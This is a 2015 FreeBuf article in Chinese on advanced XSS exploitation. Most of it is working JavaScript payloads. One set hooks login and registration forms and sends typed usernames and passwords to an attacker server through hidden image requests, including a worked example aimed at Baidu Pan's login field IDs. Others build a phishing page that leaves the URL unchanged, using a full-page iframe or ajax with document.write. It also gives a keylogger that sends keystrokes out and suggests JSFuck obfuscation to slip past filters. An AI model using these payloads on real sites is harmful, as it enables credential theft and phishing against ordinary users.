freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

戏耍XSS的一些技巧
2015-08-07 05:08:39

这不是08年的时候了,现在是2015年。那时候天还是蓝的,水还是绿的。食物是可以吃的,河里的水是可以直接喝的。孩子也是自己的。

Webkit渲染txt还是带XSS的。但是7年过去了,改变了太多,但是无论系统如何升级,只要有一个猥琐的思路就行了。今天说的是说XSS的一些技巧,当然了本文也会深入点,代码我会给上注释,如有不懂请在下面留言回复。

0x01:当注册/登陆页面/修改密码页面等存在XSS时

当你手工或者软件挖到一个页面的xss时(无论是反射xss或者储蓄xss都可以),这个时候想要深入的利用这个漏洞,该怎么做呢?用WebRTC来内网端口检测?盗取cookies(登陆页面和注册页面一般都不会有用户cookies)?用浏览器漏洞来调取cmd入侵(能挖到么)?

这不行,那不行。到底怎么办呢?我们这个时候可以根据页面的特性来完成,假设当前是注册页面,存在XSS,那我们应该怎么做才好呢。如果是反射XSS,可以远程调用js文件,如果是储蓄型XSS可以在页面里面写。代码如下:

 /*如果当前页面没有使用jQuery,就采用原生的JavaScript,下面函数是重写了jQuery的选择器及attr。
userInfo('data-user','username','value')等价于:$("input[data-user='username']").attr('value');
这个代码存在一个bug,就是getAttribute获取input的value时会显示空,这个时候只需要把getAttribute改成value就行了。之所以没有改,是因为你又可能传入其他的标签,比如img什么的,如果你要传的标签不是input,value是获取不到的,需要使用getAttribute。
*/
var userInfo = function(data,value,post,tag){
       if(!arguments[3]){
//判断第四个参数是否存在             
 tag = "input";
//当没有第四个参数传进来时,默认为input      
}
       var tagData = document.querySelectorAll(tag + '[' + data + ']');
//查找网页中某标签存在某个属性  
   for(var i = 0;i<tagData.length;i++){
//遍历查找后的结果        
   if(tagData[i].getAttribute(data) == value && tagData[i].getAttribute(post)){
//判断属性的值是否为自己所指定的,如果是自己属性和值都匹配了,再判断是否有自己的想要获取的属性                
return tagData[i].getAttribute(post);
//返回匹配成功的值          
}
       }
}
document.getElementById("xxx").click(function() {
//当用户点id为xxx的时候,运行函数内的代码。
 var user = userInfo('data-user','username','value');
//把获取的值赋值给user
  var password = userInfo('data-user','password','value');
//把获取的值赋值给password
   var imgTag = "<img src='服务器接受地址.com/xxx.php?user=" + user +"&password=" + password + "' style='display:none;'";
       document.getElementsByTagName('body')[0].appendChild(imgTag);
})

以img标签发送get的方式来把用户的账号密码发送到服务器(之前使用JavaScript结合WebRTC实现内网端口检测的时候就是用这个的。),因为img的src会以get的方式来发送数据,我们只需要在服务端写上$_GET['user']和$_GET['password']就可以获取到了。因为我们本身并不是一个完整的请求,只有发送。所以不需要担心跨域的问题。
如果当前页面的本身调用了jQuery,那就不需要上文那么麻烦了。因为代码量真的很少很少,代码如下:

$("input:submit").onClick(function(){
//当点击“提交”按钮时所触发的函数
  var user = $("input[data-user='username']").val();
//获取input标签里具有属性为data-user且属性值为username的DOM,然后在获取用户输入的值。
    
   var password = $("input[data-user='password']").val();
//获取input标签里具有属性为data-user且属性值为password的DOM,然后在获取用户输入的值
     $("body").append("<img src='http://服务器接受地址.com/?user=" + user + "&password=" + password + "' style='display:none;'>");.
//把构造好的img标签插入到body标签里的结尾
});

当代码OK后,用户点击提交时,可以注册,但是同时他的账号密码都会被我们所知道。相当于wifi中间人劫持了。

说了半天的话,也给了那么多代码,不来点事例有点说不过去了。事例:

我们先假设pan.baidu.com存在XSS。是在URL里的s参数里。就像:

http://pan.baidu.com/?s=<script>alert(1)</script>,开始分析构造了。

打开页面,F12,看下用户账号及密码的DOM。

这里我们可以使用id进行定位。Input的type为text定位好了,下面就是定位登陆按钮了。

分析完了后,我们可以进行代码构造了:

$("#TANGRAM__PSP_4__submit").click(function(){
       var user = $("#TANGRAM__PSP_4__userName").val();
       var password = $("#TANGRAM__PSP_4__password").val();
       $("body").append("<img src='http://a.cn/?user=" + user + "&password=" + password + "' style='display:none;'>");
});

OK了后,我们来实验下:

先用burp把数据包截断,防止页面跳转。点击登陆后,我们在“控制台”看下

渲染成功,我们在服务端看下:

这里没有使用php。使用的是nginx的log日志。php因为反馈不明显,除非导入到数据库里。那就太麻烦了。这里我们,可以看到成功了。如果你想使用php的话,再index.php里写上$_GET['user']和$_GET['password']就可以获取到了。

0x02:伪造页面,URL不变

之前大家伪造钓鱼页面时,经常使用<meta http-equiv="Refresh" content="1; url=http://钓鱼页面.com" />window.location.href="http://钓鱼页面.com";或者起一个非常有诱惑性的域名,比如:htpp://www.freebvf.com/,再或者以手误的方式来设置域名,比如:http://www.freevuf.com/,但是这些就有点low了。这里技巧有个要点,就是当前页面变化,但是URL不变。这里有两个方法。如果你有更好的方法,欢迎提出来,让我学习下。

第一种方法:

利用iframe,去掉iframe的边框及滚动条。再时iframe的宽度100%,占满整个页面。

var windowHeight=$(window).height() + 500; //获取当前可视区域的高,并且加上500px,防止当浏览器窗口变化时,泄露下面的内容

$("body").before('<iframe src="http://www.freebuf.com/" id="frame3d" name="frame3d" frameborder="0" width="100%" scrolling="no" height="' + windowHeight + '"></iframe>');
//插入iframe标签,src为钓鱼页面
$("html").attr({
       onmousewheel: 'return false',
//禁止鼠标轮动事件,让鼠标无法滚动
      
 style: 'overflow-x:hidden;overflow-y:hidden'
//隐藏滚动条
});

利用了iframe可以调用外部窗口的特性来进行构造代码。要点有:把iframe最大化、禁止页面滚动、隐藏滚动条。来个事例图:

 

还有一种办法是利用ajax来进行伪造,获取外部的网页,然后利用document.write()来把内容写到页面。因为document.write()有个特性就是,使用document.write()时会重写页面,无论页面里有什么内容,都会被重写。代码如下:

$.ajax({
       url: 'http://www.freebuf.com/',
       type: 'post',
       dataType: 'text',
})
.done(function(data) {
       document.write(data);
})

这里有几个需要注意的地方,document.write()写入页面后,所有的资源都会重定向到原本的地址。打个比方。

我们的钓鱼网页是htpp://www.freebuf.com/。里面的在调用js/css/img/swf等资源的时候,使用的是相对目录来进行索引的。就像下面这样:

<script src="./other/js/new/backtop.js"></script>(这是我编的,freebuf并没有使用相对目录)

那我们将freebuf这个钓鱼页面也到目标网页后,假设目标的URL是:http://www.baidu.com/。那这个js的资源就会被指定为http://baidu.com/other/js/new/backtop.js。从而导致页面不受控制。就像下面这样:

看下控制台就更加的清楚了:

还有一个需要注意那就是需要再这个文件也就是index.php里的头上写入下面的代码:

<?php header( 'Access-Control-Allow-Origin:*' );?>

这样就可以使用ajax来进行跨域了。

这两个方法的优点和缺点我们说下:

第一种用iframe:

缺点:容易被发现,。F12就可以看到一个iframe,而且当浏览器的窗口足够大的时候,会使原本的网页泄露出一点。从而导致用户发现。代码量多

优点:限制特别少。

第二种用ajax:

缺点:使用ajax看来请求远程地址并重写的时候,需要注意的是,即使钓鱼网站不使用相对路径,而且还加入了<?php header( 'Access-Control-Allow-Origin:*' );?>,但是还是不行,因为网站的本身就做了限制。

优点:代码量特别少

0x03:other小技巧

JavaScript键盘记录:

function keyUp(e) {
       var keyChar=0,e=e||event;
       keyChar=e.keyCode||e.which||e.charCode;
       var key = String.fromCharCode(keyChar);
       console.log("字符: " + key);
}document.onkeyup = keyUp;

这段代码只需要运行就行了。如果想发送到远程的服务器上面,可以使用ajax或者我上面的说的<img src='http://服务器接受地址.com/?key=" + key +"' style='display:none;'>来进行发送,可以使用for循环对上面的代码进行循环,把用户按下的键先赋值给一个值,当点击提交时就可以发送了。

如果网站不限制字符串的话,可以使用http://www.jsfuck.com/来对原本的JavaScript代码进行变异。但是这种变异后的长度特别长,记住是特别长!

0x04结束语

最近刷微博,看到下面的微博:

对于这种厂商,我只能说自己脑残不要说别人技术差。

黑哥之前的XSS漫游内网,以及XSS遍历内网IP端口。还有XSS利用浏览器API弹计算器等等,事实证明这不是08年的时候了,不要一直想着XSS只能打cookies,可能你正在这样想的时候,别人已经用xss漫游你的内网了呢。

*本文来自FreeBuf特约作者Black-Hole投稿,属FreeBuf黑客与极客(Freebuf.COM)独家发布,未经允许禁止转载

本文作者:, 转载请注明来自FreeBuf.COM

# xss
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦
收入专辑